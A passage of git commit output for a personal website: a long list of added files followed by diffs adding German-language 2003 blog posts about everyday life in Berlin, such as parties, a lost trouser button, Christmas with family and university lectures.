files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2 create mode 100644 files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2 create mode 100644 files/arts/software/minimunin/minimunin-0.1.tar.bz2 create mode 100644 files/arts/software/minimunin/minimunin-0.2.tar.bz2 create mode 100644 files/arts/software/opentracker/opentracker_beta3.png create mode 100644 files/arts/software/timestretch/timestretch_1.png create mode 100644 files/arts/software/timestretch/timestretch_2.png create mode 100755 files/cgit/cgit.cgi create mode 100644 files/cgit/cgit.css create mode 100644 files/cgit/cgit.png create mode 100644 files/cgit/favicon.ico create mode 100644 files/cgit/robots.txt create mode 100644 files/epost.pdf create mode 100644 files/erdgeist.org.tbz create mode 100644 files/fnord/news/Studio-RT.JPG create mode 100644 files/fnord/news/speeding.jpg create mode 100644 files/hello-world.jpg create mode 100644 files/key.asc create mode 100644 files/lectures/0zapftis.pdf create mode 100644 files/lectures/Cryptocon-Keynote.pdf create mode 100644 files/lectures/Little Big Data.pdf create mode 100644 files/lectures/TrackerFahrn.pdf create mode 100644 files/lectures/Wahlcomputer_Talk.pdf create mode 100644 files/stats/blog/pics/100_0539.JPG create mode 100755 files/stats/blog/pics/Blumentopf.JPG create mode 100644 files/stats/blog/pics/CCCB.jpg create mode 100644 files/stats/blog/pics/Dank_allen_Helfern.jpg create mode 100755 files/stats/blog/pics/Drecksbotten.jpg create mode 100644 files/stats/blog/pics/EinEis.jpg create mode 100644 files/stats/blog/pics/Garderobe.jpg create mode 100644 files/stats/blog/pics/GutenMorgen.jpg create mode 100644 files/stats/blog/pics/IMG_3571_k.jpg create mode 100644 files/stats/blog/pics/Im-Herbst.jpg create mode 100644 files/stats/blog/pics/Kapelle.jpg create mode 100644 files/stats/blog/pics/KaputtesAuto.jpg create mode 100644 files/stats/blog/pics/Lofts.jpg create mode 100755 files/stats/blog/pics/Maulhurpf.jpg create mode 100644 files/stats/blog/pics/Planetarium.jpg create mode 100644 files/stats/blog/pics/Rollern.jpg create mode 100644 files/stats/blog/pics/ShirtCam1.jpg create mode 100644 files/stats/blog/pics/ShirtCam2.jpg create mode 100644 files/stats/blog/pics/Studium.jpg create mode 100644 files/stats/blog/pics/Volkspark.jpg create mode 100644 files/stats/blog/pics/Wetter.jpg create mode 100644 files/stats/blog/pics/Wiesen.jpg create mode 100644 files/stats/blog/pics/bola.jpg create mode 100755 files/stats/blog/pics/erste72.jpg create mode 100644 files/stats/blog/pics/espresso-anden.jpg create mode 100644 files/stats/blog/pics/iCalShuffle.jpg create mode 100644 files/stats/blog/pics/latte.jpg create mode 100644 files/stats/blog/pics/los_penisheads.jpg create mode 100644 files/stats/blog/pics/los_sombreros.jpg create mode 100644 files/stats/blog/pics/phNeutral.jpg create mode 100644 files/stats/blog/pics/stoertaste.jpg create mode 100644 files/stats/blog/pics/yor.jpg create mode 100644 stories/about.rst create mode 100644 stories/beerware.md create mode 100644 stories/index.rst create mode 100644 stories/lectures/Wahlcomputer.rst create mode 100644 stories/music/Alte_Zeiten.rst create mode 100755 stories/music/Fine.rst create mode 100644 "stories/music/Frau_Kr\303\274ger.rst" create mode 100644 stories/music/From_Me_To_You.rst create mode 100644 stories/music/Hero.rst create mode 100644 stories/music/Hoerig.rst create mode 100644 stories/music/No_Angel_Yet.rst create mode 100644 stories/music/Pimmelterrorist.rst create mode 100644 stories/music/Riding_Monkey.rst create mode 100644 stories/music/Schnee_im_April.rst create mode 100644 stories/music/Sven.rst create mode 100644 stories/music/Tonite.rst create mode 100644 stories/music/Warme_Gedanken.rst create mode 100644 stories/music/Wiese.rst create mode 100644 stories/music/index.rst create mode 100644 stories/music/transpose.rst create mode 100644 stories/photos/index.rst create mode 100644 stories/poetry/Datenschleuder-BoesePost create mode 100644 stories/poetry/Ein_Abend.md create mode 100644 "stories/poetry/Gru\303\237karte.md" create mode 100644 stories/poetry/MeinVortrag/01.html create mode 100644 stories/poetry/MeinVortrag/02.html create mode 100644 stories/poetry/MeinVortrag/03.html create mode 100644 stories/poetry/MeinVortrag/04.html create mode 100644 stories/poetry/MeinVortrag/05.html create mode 100644 stories/poetry/MeinVortrag/06.html create mode 100644 stories/poetry/MeinVortrag/07.html create mode 100644 stories/poetry/MeinVortrag/08.html create mode 100644 stories/poetry/MeinVortrag/09.html create mode 100644 stories/poetry/MeinVortrag/10.html create mode 100644 stories/poetry/MeinVortrag/11.html create mode 100644 stories/poetry/MeinVortrag/12.html create mode 100644 stories/poetry/MeinVortrag/13.html create mode 100644 stories/poetry/MeinVortrag/14.html create mode 100644 stories/poetry/MeinVortrag/15.html create mode 100644 stories/poetry/MeinVortrag/16.html create mode 100644 stories/poetry/MeinVortrag/17.html create mode 100644 stories/poetry/MeinVortrag/18.html create mode 100644 stories/poetry/MeinVortrag/19.html create mode 100644 stories/poetry/MeinVortrag/Vortrag-FormatStrings create mode 100644 stories/poetry/MeinVortrag/templ.html create mode 100644 stories/poetry/SeinSohn.md create mode 100644 stories/poetry/Unreal.md create mode 100644 stories/poetry/aussage1.md create mode 100644 stories/poetry/aussage2.md create mode 100644 stories/poetry/aussage3.md create mode 100644 stories/poetry/baecker.md create mode 100644 stories/poetry/bsd.vs.linux.md create mode 100644 stories/poetry/domizil.md create mode 100644 stories/poetry/dreiviertel create mode 100644 stories/poetry/elokpaula.md create mode 100644 stories/poetry/fdp.md create mode 100644 stories/poetry/feindkontakt.md create mode 100644 stories/poetry/freiheit.md create mode 100644 stories/poetry/fruehlingsgewitter.md create mode 100644 stories/poetry/geaendert.md create mode 100644 stories/poetry/gefangen.md create mode 100644 stories/poetry/gefunden.md create mode 100644 stories/poetry/grau.md create mode 100644 stories/poetry/grossejungs.md create mode 100644 stories/poetry/header create mode 100644 stories/poetry/im_sog.md create mode 100644 stories/poetry/index.rst create mode 100644 stories/poetry/kuenstler create mode 100644 stories/poetry/lovers.md create mode 100644 stories/poetry/madkarin.md create mode 100644 stories/poetry/milchstrasse.md create mode 100644 stories/poetry/missverstaendnis.md create mode 100644 stories/poetry/mistral.md create mode 100644 stories/poetry/mondgoettin.md create mode 100644 stories/poetry/nachts.md create mode 100644 stories/poetry/pamphlet create mode 100644 stories/poetry/perfektion.md create mode 100644 stories/poetry/schneebilder.md create mode 100644 stories/poetry/seelenkratzer.md create mode 100644 stories/poetry/seemann.md create mode 100644 stories/poetry/traeumerei.md create mode 100644 stories/poetry/tscheljabinsk.md create mode 100644 stories/poetry/urlaubsgruesse.md create mode 100644 stories/poetry/vchat.md create mode 100644 stories/poetry/verloren.md create mode 100644 stories/poetry/wasted.md create mode 100644 stories/poetry/wille.md create mode 100644 stories/poetry/wortzahl84.md create mode 100644 stories/poetry/zeitlos.md create mode 100644 stories/poetry/zynismus.md create mode 100644 stories/projects/Telefonbuch.rst create mode 100644 stories/projects/anonbox.rst create mode 100644 stories/projects/briefkasten.rst create mode 100644 stories/projects/el.rst create mode 100644 stories/projects/elektropost.rst create mode 100644 stories/projects/etherpad.rst create mode 100755 stories/projects/ezjail.conf.5 create mode 100644 stories/projects/ezjail.rst create mode 100644 stories/projects/ezjail_philosophy.rst create mode 100644 stories/projects/jaildaemon.rst create mode 100644 stories/projects/minimunin.rst create mode 100644 stories/projects/opentracker.rst create mode 100644 stories/projects/timestretch.rst create mode 100644 stories/projects/vchat-client.rst create mode 100644 themes/erdgeist/assets/css/bootstrap.css create mode 100644 themes/erdgeist/assets/css/bootstrap.min.css create mode 100644 themes/erdgeist/assets/css/erdgeist-embedded.css create mode 100644 themes/erdgeist/assets/css/erdgeist.css create mode 100644 themes/erdgeist/assets/font/erdgeist.eot create mode 100644 themes/erdgeist/assets/font/erdgeist.svg create mode 100644 themes/erdgeist/assets/font/erdgeist.ttf create mode 100644 themes/erdgeist/assets/font/erdgeist.woff create mode 100644 themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf create mode 100644 themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf create mode 100644 themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf create mode 100644 themes/erdgeist/assets/img/dark_stripes.png create mode 100644 themes/erdgeist/bundles create mode 100644 themes/erdgeist/parent create mode 100644 themes/erdgeist/templates/base.tmpl create mode 100644 themes/erdgeist/templates/base_helper.tmpl create mode 100644 themes/erdgeist/templates/index.tmpl create mode 100644 themes/erdgeist/templates/index_helper.tmpl create mode 100644 themes/erdgeist/templates/list_blogposts.tmpl create mode 100644 themes/erdgeist/templates/list_poetry.tmpl create mode 100644 themes/erdgeist/templates/list_projectnews.tmpl create mode 100644 themes/erdgeist/templates/list_projects.tmpl create mode 100644 themes/erdgeist/templates/post.tmpl create mode 100644 themes/erdgeist/templates/post_header.tmpl diff --git a/blog/2003/Altes.md b/blog/2003/Altes.md new file mode 100644 index 0000000..127128e --- /dev/null +++ b/blog/2003/Altes.md @@ -0,0 +1,29 @@ + + +Ich merke langsam, wie mein Alter mich einholt. Gestern abend hat Antenne in ihren 2x. Geburtstag hineingefeiert. Ooch nich mehr die Juengste. Aber +_mich_ hat's dahingerafft. Und zwar schon so gegen ein Uhr. Zu der Zeit ging noch vor Kurzem ein Abend erst los. Nunja. Die Woche war auch hart, das +muss ich zu meiner Verteidigung sagen. Aber dass ich dann 16 Stunden geschlafen hab und immer noch knuelle bin, ist kein gutes Zeichen. + +Andererseits hab ich auf dem Weg zu dieser Party eine Sonne geschossen, wie ein kleiner Junge. Problem hierbei war aber, dass ich dabei zwei volle +Kaesten [Berliner](http://www.berlinerpilsner.de/) in der Hand hatte, die der Martin netterweise fuer die Party gesponsored hatte. Dank des +heroischen Einsatz' meines Knies, welches ich nach dem Aufschlag noch unter die Kaesten geschoben hab, sind nur 3 Flaschen (und eben ein Knie) kaputt +gegangen. Zum Glueck hab ich gerade ein Mietauto, also reichte es, die dreckigen Kaesten auf der Party abzuduschen. Zum Trost gabs dann lecker +[Donauwelle](http://www.chefkoch.de/rezept-anzeige/ID.80641031404284/ID2.48/Donauwelle.html) und Apfelkuchen von Martin und n Pflaster +fuers Knie. Den obligatorischen Marienkaefer da drauf hab ich mir dann aber mangels geeigneter Stifte gespart. + +Heute abend gabs dann (nach den besagten 16 Stunden Schlaf) altes Kino. Der Directors Cut von [Alien](http://www.imdb.com/title/tt0078748/) +laeuft zur Zeit in einigen Kinos Berlins. Im [Cubix](http://www.jowi.de/cubix-ufa-palast/) wurden wir dann aber mit 15 Minuten Werbung und 20 +Minuten zwischen den beiden Werbebloecken ein wenig zu sehr genervt, vor allem, da wir zu [Kill Bill](http://www.kill-bill.com) im [FT Friedrichshain](http://www.yorck.de/yorck_net/yorck_kinos/filmtheateram.php3) genau keine Werbung zu ertragen hatten. (Dafuer hatte der +Saal, in den der Film wegen der Sneak an diesem Abend verlegt wurde, aber auch eher Wohnzimmeratmosphaere, weshalb Filib den ganzen Abend rumningeln +musste.) Alien ist aber immer wieder ein Hingucker und trotz der deutlichen Unterschiede in der Qualitaet der Bilder grosses Kino. + +Grad eben, beim Schreiben dieser Zeilen wuerde der letzte Hauch Sommer mit der "Sommerzeit" weggeblasen. Und mit Erstaunen hoere und lese ich die +Freudebekundungen einiger Mitmenschen, dass eine Stunde mehr Schlaf dabei rausfiele. Als ob sie vergessen haben, dass sie dafuer vor einem halben +Jahr eine halbe Stunde weniger schlafen durften und sich zweimal im Jahr einem ["kollektiven Jetlag"](http://www.realzeit.org/faq.html) +aussetzen. Und nicht nur, dass sich der Handel erbloedet, mittlerweile schon wieder Weihnachtsmaenner und sonstige Fundamentalistendevotionalien +ins Angebot zu nehmen, noe jetzt wird sogar die Zeitumstellung als Vorwand benutzt, einen weiteren [langen Samstag](http://morgenpost.berlin1.de/inhalt/berlin/story637374.html) zu erfinden. Was Menschen dazu antreibt, sich von +aussergewoehnlichen Oeffnungszeiten zum Geldausgeben animieren zu lassen, ist mir komplett schleierhaft. Hat vielleicht ein wenig was von Pluenderungen, +nachts in rauhen Mengen die Geschaefte zu stuermen. Vielleicht sollte das DRK mal Nachtblutspenden einfuehren. diff --git a/blog/2003/Buttons.md b/blog/2003/Buttons.md new file mode 100644 index 0000000..5d88c7a --- /dev/null +++ b/blog/2003/Buttons.md @@ -0,0 +1,36 @@ + + +Es ist vollbracht! Nach nur 3 Wochen Suche habe ich es geschafft, einen Knopf fuer meine Lieblingshose zu finden. Der war mir in irgendeiner +tolpatschigen Aktion abgerissen. Nicht, dass ich besonders waehlerisch war. Nein. Es gibt keine Laeden, in denen man mal eben Hosenknoepfe kaufen +kann. Ich hab im Friedrichshain und Prenzelberg so ziemlich alle Laeden abgesucht, (sogar den, wo ich die Hose gekauft habe): 99-Pfennichlaeden, +MrMinit-Schustereien, Supermaerkte, Boutiquen, Dessougeschaefte... Vereinzelt gab es sogar Druckknoepfe oder kleine weisse Bettwaescheknoepfe im +40er-Pack, aber keine Hosenknoepfe. Eine Schande, dass es keine Schneidereien mehr gibt, genauso hat sich die Zahl der Fleischereien, Polstereien, +Tante-Emma-Laeden und all den Geschaeften, die eigentlich in so ein Stadtbild gehoeren sollten, zumindest in diesen "Szenevierteln" radikal reduziert. +Dafuer gibt es die netten zentralen, gemuetlichen Center. In einem solchen habe ich aber, um die Geschichte abzuschliessen, einen kleinen +tuerkischen Familienbetrieb gefunden, der Aenderungsschneiderei und Textilreinigung spielt. Dort hat mir die liebe aufgetakelte Oma einen Knopf +aus ihrer bunten Knoepfetasche geschenkt. Der ist jetzt doppelt fest angenaeht. Aber vielleicht sollte ich mich bei Zeiten nach einem Ersatzknopf +umgucken. + +Was mir noch aufgefallen ist, ist dass Zahnaerzte so ein zynisches Spiel mit den Patienten spielen. Andrea hatte eine Operation. Weisheitszaehne, +unschoene Details galore. Dabei hab ich sie, Gentelman, wie ich bin, begleitet. Die lokale Betaeubung ging dann mit nur 25 Minuten warten relativ +schnell. Nur sass sie dann mit der betaeubten Backe nochmal eine geschlagene Stunde rum, bis sie dann endlich unters Messer kam. Und der Grund: +die Aerzte bestellen sich die Patienten im Viertelstundentakt, wohl wissend, dass eine OP im Durchschnitt 30 Minuten dauert und kalkulieren, dass +im Schnitt genug Patienten ihren Termin nicht wahrnehmen. Wenn dem nicht so ist, muessen die Patienten eben warten. Dies waere ja alles vielleicht +nicht ganz so schlimm, wenn ich, der ich durch Zufall kein Kassenpatient bin, nicht immer _sofort_ rankaeme. Meinen letzten Zahnarzt musste ich +auch droppen, weil er nach Blick auf meine Krankenkassenkarte (Privatversicherter) ein Leuchten in den Augen bekam und ganz dringen meine vorher +noch fast komplett heilen Zaehne an drei von vier Backen mit netten Kronen und Bruecken verzieren wollte. Auf jeden Fall bin ich bei ihm auch immer +genau zum bestellten Termin auch behandelt worden. Interessanter Fakt ist auch noch, dass die Zahnaerzte durch die sich akkumulierenden +Zeitverschiebungen von 7 bis 20 Uhr durchgaengig am schneiden sind. Wenn man das weiss, moechte man einen Termin kurz nach der Mittagspause +abgreifen. + +Nachdem ich einen erdrueckende hohen Scheck fuer die Schaeden an meinem guten Alten Auto in die Hand gedrueckt bekommen hab (mir aber seinen +Schrottwert morgen selber wieder holen muss) hat sich mein Kontostand in schwindelerregende Hoehen geschaukelt. (Wieviel genau mag ich wegen Finanzamt, +Opa und Mutti nicht sagen.) Morgen kommt ein grosser Lkw und wird die Trennung endgueltig machen. Heute war mein erster Tag komplett ohne Kfz, +weil der Audi auch wieder zurueck zu Europcar musste. Die Beule, die ich _natuerlich_ reingefahren habe, konnte ich nett mit "Ich bin da mit einem +Einkaufswagen reingefahren" erklaeren. Dass mein Mitbewohner, der sich lieberweise beim Abschleppen des kaputten Fahrzeugs hinten zum Lenken +reingesetzt hat, das mit dem Bremsen ohne Bremskraftverstaerker am Anfang noch nicht so ganz raus hatte und deswegen gleich an der ersten Kreuzung in +den Mietwagen gefahren ist, war zum Glueck nicht auf den ersten Blick nachzuvollziehen und wird auch hoffentlich bei der Vermietung nicht sofort +entdeckt. Was ich jetzt genau mit dem Geld und der Fahrzeugsituation mache, ist unklar. Ich bin jetzt erstmal betrunken und warum, erzaehl ich morgen. diff --git a/blog/2003/Dezemberkind.md b/blog/2003/Dezemberkind.md new file mode 100644 index 0000000..dea0283 --- /dev/null +++ b/blog/2003/Dezemberkind.md @@ -0,0 +1,9 @@ + + +Der [Tomster-Tom](http://www.tomster.org/) is Papa. Mal +wieder. Der Trend geht wohl auch zum Zweitkind. Ich behalte mal an der +Stelle meinen Zynismus fuer mich und freu mich mal janz ehrlich mit, +weil ich den Tom sehr mag. diff --git a/blog/2003/Die_Christenheit.md b/blog/2003/Die_Christenheit.md new file mode 100644 index 0000000..2573c35 --- /dev/null +++ b/blog/2003/Die_Christenheit.md @@ -0,0 +1,96 @@ + + +Wir haben es schon gut. So einmal, wenn es noch nicht so richtig ganz +dolle kalt ist, haben wir uns alle mal so richtig ganz dolle lieb. + +Man hockt dann aufeinander, erinnert sich, die Altvorderen nennen es +Besinnen. - Naja. - Meist besinn ich mich nur auf die verzweifelten +Versuche, den aufgestauten Frist herunterzuspuelen. Will sagen: mit viel +Alkohol wegzuputzen. + +Ich habe es geschafft, ohne auch nur die geringste Geschenkidee +(geschweige denn Geschenke) meine Familie heimzusuchen. Ich wurde so gegen +15 Uhr aus dem Bett geklingelt, ob ich denn nicht die Bescherung +miterleben wollte. In Anbetracht meines dicken Schaedels fand ich die Idee +nicht vollends prickelnd, aber die innige Reflexion der Konsequenzen eines +komplett verpeilten Heilig Abends trieben mich dann doch aus der Falle. +Dank der wirklich miserablen Ausstattung meines Kuehlschranks (ich werde +dann nach dem Zwangskonsumverbot mal wieder aufstocken gehen) schleppte +ich den Kater bis nach Marzahn. Dort bot sich mir dann der Hungerkiller +Kirschtorte und Plaetzchen dar. Ich hoffe, dass mein Leiden bemerkt +wurde. + +Das traditionelle Singen war ziemlich toll, auf "mit Gitarre in der Hand +irgendwas darzubieten" bin ich wohl schon ausreichend konditioniert. Ob +die anderen meine spontanen Zweitstimmen und Gitarrensoli zu den +Weihnachtsliedern auch so spannend fanden, wage ich zu bezweifeln. + +Die Bescherung an sich lief so an mir vorbei. Ich hab wohl Socken und +einen Praesentkorb bekommen. Meine Mama hat sich naemlich mal wieder mein +Zimmer angeschaut. Um 15 Uhr morgens!!! Sie hat fieserweise am 20. oder +21. beim Schlafen gehn um 10 Uhr angerufen, ob ich denn um 3 noch zu hause +sei. Und nachdem sie meinen Mitbewohner aus dem Bett geklingelt hat, stand +sie dann wirklich in meinem Zimmer. Ich mochte ob eines Herrenproblems +nicht sofort heruntersteigen, aber die Zeit hat sie wohl zur ausgiebigen +Inspektion meines Wohnraums genutzt. - Einen Praesentkorb also. Mit +Alkoholika (wie so wohl darauf kommt), nicht verderblicher Nahrung, einem +1l-Pack Kakao (was ich wirklich kool fand) und so Naschzeug. Dank einiger +redegewandter Kniffe, fiel meine komplette Geschenklosigkeit nicht weiter +auf. Meiner Schwester vermachte ich die ihr irgendwann dieses Jahr +verliehene Funknetzwerkkarte, mein Opa hat eh nicht mitbekommen, wer ihm +was geschenkt hat und meine Eltern haben es (hoffentlich) mittlerweile +aufgegeben. + +Beim [ +Mensch-Aerger-Dich-Nicht](http://de.wikipedia.org/wiki/Mensch_%E4rgere_dich_nicht) bin ich dann Letzter geworden. Warum ich das +erwaehne? Bei dem Spiel hat mein Opa erwaehnt, dass er fuer uns "Nappa- +Lederjacken" herumliegen haette, wir duerften uns welche aussuchen. - +Geil! irgendein ehemaliger Kollege, der jetzt Haustuergeschaefte macht, +hat Opa besucht und ihm fuer 500EUR 10 Lederjacken und -westen +uebergeholfen. Die ihm nicht einmal passten. Dieser verdammt Flachw****er. +Beim spaeteren Angucken stellte sich heraus, dass die nicht mal besonders +huebsch sind. Und Nappa schonmal eher gar nicht. Ich hab dann +kurzentschlossen alle Jacken geschnappt, teilweise fotografiert (Link +folgt noch) und werde sie die naechsten Tage auf [eBay](http://www.ebay.com/) loszuwerden versuchen, damit Opa +wenigstens Teile seines Geldes wiedersieht. + +Wo ich gerade beim Fotografieren bin: ich habe mir noch ein Spielzeug +aquiriert, das ich dann nachtraeglich als Geschenk von Opa umdeklariert +habe. Eine [ +Mustek 4000 DV](http://www.mustek.com./html/prod_camra/dv4000.html). Soll heissen: ein Geraet, das nur halb so gross ist, +wie mein iPod und Filme und mp3s aufnehmen kann. Ziemlich cool. Wenn ich +herausgefunden habe, wie ich die .afs, die da herausfallen, in irgendwas +Nicht-proprietaeres umzuwandeln, werden kleinere Clips mein Blog +bereichern. Ich habe da schon ein paar Impressionen, die mich beschaeftigt +haben, aufgezeichnet. + +(Abrupter Themenabbruch) Nach dem netten Fest und der Nachhausefahrt bei +Papa hinten im Auto trieb es mich dann endlich auf die Piste. Die +ausgewiesene [Touristenstrasse,](http://www.simon-dach-strasse.de/) +die ich mein zu hause nenne, war unglaublich leer. Waehrend man normal +stundenlang auf Parkplatzsuche ist, boten sich einem diesmal [ +ICE-kompatible](http://www.heute.t-online.de/ZDFheute/artikel/23/0,1367,MAG-0-2011735,00.html) Parkluecken. Der Grund? Das gesamte Studentenpack aus +Sued- und/oder Westdeutschland, das fuer gewoehnlich Kunden und Bedienung +in der Gegend stellt, hat sich lieber daheim in Dortmund oder Stuttgart +unter dem [ +Weihnachtsbaum](http://www.weihnachtsbaum-meister.de/meister2.html) breitgemacht. Da ich aber gerade ohne Kfz bin, +konnte die Freude ueber Parkplaetze _deutlich_ nicht den Frust ueber die +geschlossenen Lokale wettmachen. Ich habe mich dann mit Kumpel Robert im +[ +Coyote](http://boxhagenerplatz.mareea.de/artikel/kneipenguide.php4) niedergelassen. Er hat so eins, zwei traurige Frauengeschichten +zu erzaehlen gehabt, die prima mit dem Bier und Cocktail-gemisch +harmoniert haben. Weil der Rest der Bagage noch an Fundamentalistenfeiern +(so Mitternachtsmesse oder sowas) teilnehmen mussten, ging es dann erst so +gegen halb eins weiter nach Prenzlauer Berg. Im ehemaligen H20 war es +schon ein wenig gemuetlicher, die Kundschaft war dagegen aber auch +anstrengender. (Wohl inklusive mir.) Die Nacht endete bloederweise mit den +zwei Sitz-Entenschnaebeln zum Bett zusammengeschoben in der Firma. Heute +gab es kurzes bcc angucken und wieder trinken. Ich muss mal einen Tag +nuechtern bleiben. Nur so um zu gucken, wie das ist. Geht ja auch ins +Geld. + +Die Geschichte mit der Chemie-Klausur folgt noch. Keine Angst. Ich muss +nur den Scanner wieder heile machen. diff --git a/blog/2003/Dinge_erledigt.md b/blog/2003/Dinge_erledigt.md new file mode 100644 index 0000000..d1811f6 --- /dev/null +++ b/blog/2003/Dinge_erledigt.md @@ -0,0 +1,50 @@ + + +Nachdem ich mir von meiner Arbeit nach 2 Wochen durchgaengig Schaffen mal einen freien Tag rausgehandelt habe, bin ich richtig zu was gekommen. +Ich hab meine Kueche endlich gemuetlich hergerichtet. Dazu bedurfte es nur eines IKEA Regals Marke [ +Ivar](http://www.ikea.de/webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10101&storeId=5&categoryId=10411&langId=-3&parentCats=10104*10173*10411&chapterId=10437&cattype=sub) und der Bohrmaschine, die ich irgendwo hin verliehen hatte. Nachdem deren Aufenthalt bei meinem Kumpel Andreas identifiziert wurde und +ich im Baumarkt meines Vertrauens auch noch den richtigen Steinbohrer erstand, hab ich die einmeter-Version von Ivar nach einem Tip von [ +Frank](http://frank.geekheim.de/) an die Wand gehangen und bin ausserordentlich gluecklich mit den insgesamt 6 neuen Abstellflaechen. Fotos gibts demnaechst. bei der +Gelegenheit hab ich auch beschlossen, dass Staubsaugen in meinem Flur aussichtslos ist. Ich werd mich mal nach nem neuen Teppich umsehen. + +Gestern abend war ich mit meinem Opa lecker griechisch essen. Der hat ne Donauschiffsreise hinter sich. Und natuerlich lang und breit davon +erzaehlt. Hoerte sich zuerst nicht so spannend an. Aber wenn man denn mitbekommt, wo er da ueberall war: Wien, Budapest, Bratislava... denn +wird man schon ein wenig neidisch. Muss man denn unbedingt alt sein, um das mal zu sehn? Ich werd' mir irgendwann mal einen Zug schnappen und +das alles auch angucken. Donau und alte Leute muessen nicht unbedingt sein. + +Nachdem ich ja ohne Kfz eines BVG-Daseins friste, habe ich die ersten Fuehler nach einer Uebergangsmobilitaetsbeschaffungsmoeglichkeit ausgestreckt. +Dabei bin ich wieder auf die Option verfallen, die ich zum Anfang meines Studiums gewaehlt hab: Motoroller. Damals habe ich mir von meinem ersten +Uni-Nebenjob eine [Schwalbe](http://www.dooyoo.de/fahrzeuge/motorrad/simson_schwalbe/) in der ["Zweiten Hand" +](http://www.zweitehand.de/) geshopt (das war sowas wie ebay, bevor es so richtig internet fuer alle gab, nur ohne Versteigerung und auf Papier). Mit der war ich auch eine +echte Weile gluecklich. Bis ich meine damalige Freundin damit hab fahren lassen. Sie hat den Antriebsmechanismus fachmaennisch irreparabel zerschossen +und einem Simsonbastler eine weitere guenstige Maschine verschafft. Mittlerweile sind meine Ansprueche ein wenig gestiegen. Vor allem, weil jetzt +Winter ist. (Die Reifen der Schwalbe haetten auch grad von einem Bollerwagen abgeschraubt sein koennen.) Und Automatik waaer bestimmt auch nett und +Helm nicht ueberall mit hinschleppen muessen auch. + +Das schoene an Motorrollern ist ja, dass sie keine festen Kosten machen. Nagut, einmal jaehrlich ca. 35 EUR. Aber das wars dann auch schon. Benzin +schlucken sie fast auch keins, weil ja eigentlich nur eine Person plus das bisschen Gewicht der Maschine bewegt werden muss. Und im Stadtverkehr ist +man damit deutlich schneller, als mit einem sperrigen Auto. Und neue bekommt man schon ab 1000 EUR. Muss ich mal sparen. + +Vor allem, weil neben Teppich und Motorroller noch ein iPod ansteht, den [Constanze](http://www.informatik.hu-berlin.de/~kurz) mir aus +Amerika mitbringen will. Wenn ich das mit der Ueberweisung rechtzeitig hinbekomme. Zudem wartet noch eine Nebenkostenabrechnung und ganz in der Ferne +eine fette Geldbusse auf mich. Mal sehn. + +Heute war ich uebringens auch noch essen. In einem Kubaner in der Reinhardtstrasse. Es ist schon eine Weile her, dass ich in einem Lokal getafelt hab, +in dem [Berliner Buergerbraeu](http://www.berliner-buergerbraeu.de/) kredenzt wird. Als mich dann noch auf der Karte "Rindersteak mit +chili con carne und spiegelei" mit noch diversen Zutaten anlaechelte und ein obskures Hefe gereicht wurde, war es der Hunger und die nette Gesellschaft +von Philipp, die mich dort hielt. Sehr schoen auch die Live-Gesaenge zu den karibischen Schnulzentapes, die immer wieder Tekkno-Style Aussetzer haben. +Fuer Goafreund Philipp bestimmt die reinste Freude. Das Chili con Carne war dann zu meiner Ueberraschung ohne Fleisch. Um genau zu sein waren es +schwarze gekochte Bohnen. Dafuer war dann aber auch das Steak nicht zu gross. Waren aber auch draussen keine Sterne dran. + +Und jetzt noch schnell die Aufloesung, wieso ich zum letzten Eintrag hier im Blog zu betrunken war: eine groessere Firma, an deren Projekt ich +beteiligt gewesen bin, war mit der Arbeit der Firma, fuer die ich arbeite, scheinbar sehr zufrieden und lud die Projektbeteiligten in ein teureres +Restaurant ein. Da das aufgrund diverser Termine wahrscheinlich erst im naechsten Monat etwas wird, hat nun meine Firma, als Generalprobe, die Geladenen +in ein teures Restaurant gelotst. Dort gab es dann lecker Strauss zu essen und, da grad Cocktail-happy-hour war, auch gehoerig was zu trinken. Der +leckere Rioja fuer nur 36 EUR pro Flasche tat dann sein Uebriges, mich zum letzten Eintrag zu bewegen. + +Morgen und uebermorgen hab ich auch frei. Seele baumeln lassen. Ausschlafen. Baden (obwohl, war ich heute schon). Vielleicht spazieren gehen und Ruine +erkunden. - Dabei faellt mir ein: in das alte Chemieinstitut zieht nach erfolgreicher Renovierung die Unibibliothek ein. Wer Paintball spielen moechte, +sollte das schnell tun, oder die Sanierung boykottieren. diff --git a/blog/2003/Geekin.md b/blog/2003/Geekin.md new file mode 100644 index 0000000..769c996 --- /dev/null +++ b/blog/2003/Geekin.md @@ -0,0 +1,14 @@ + + +Fieses Erwachen. Nachdem ich die Nacht laenger arbeiten war und erst um 6 nach hause gekommen bin, haben die Rueckholreflexe nach dem Anruf eines Kollegen perfekt funktioniert. Ohne eigentlich zu wissen, warum, stand ich nur 23 Minuten spaeter zerknautscht an der Kaffeemaschine, um von Cpunkt auf den Boden der Realitaet gebimmelt zu werden. Eigentlich stand eine Vorlesung an. In Adlershof. Und keine 10 Minuten spaeter fand ich mich auf dem Berliner Ring wieder. Teils, weil es tagsueber der schnellste Weg von Fast-pankow nach Fast-gruenau ist, teils, weil ich noch keinen 1,9l Turbodiesel auf der Autobahn gefahren bin. Nachdem ich 20 Minuten vor mich hingeduest bin und immer noch nicht Marzahn vorbeigerauscht war, wurde mir langsam bewusst, dass ich den Ring falschrum reingefahren bin. + +In meiner kindlichen Freude, dies festgestellt zu haben und einer herrlichen Naivitaet, die Laenge des Rings betreffend, fuhr ich also froehlich weiter, weil die Richtung (lt. Matheunterricht 4. Klasse) so eigentlich egal ist, auf einem Kreis kommt man zum Ziel. Eine Stunde spaeter hab ich es dann doch geschafft. Und freute mich nun auf eine [toll nerdige](http://www.informatik.hu-berlin.de/Studieren/kvv/aktuell/hsprakt.shtml#hs_pi_ia-64versus) Vorlesung, die mir den [IA-64](http://www.intel.com/products/server/processors/server/itanium/index.htm?iid=sr+64&) nahe bringen sollte. Vorher hatte ich aber noch damit zu kaempfen, das Kfz zu parken. Es sind inzwischen zu viele Erstis mit zuviel Geld von Mami und Papi am Institut. Zu meiner Zeit.... aber, was beklag ich mich. + +Der Prof. war einigermassen fit, aber praesentierte nur Binsenweisheiten, der Uebungsgruppenleiter hatte sich die entscheidenen Folien bei Intel kopiert und ich hatte nach so 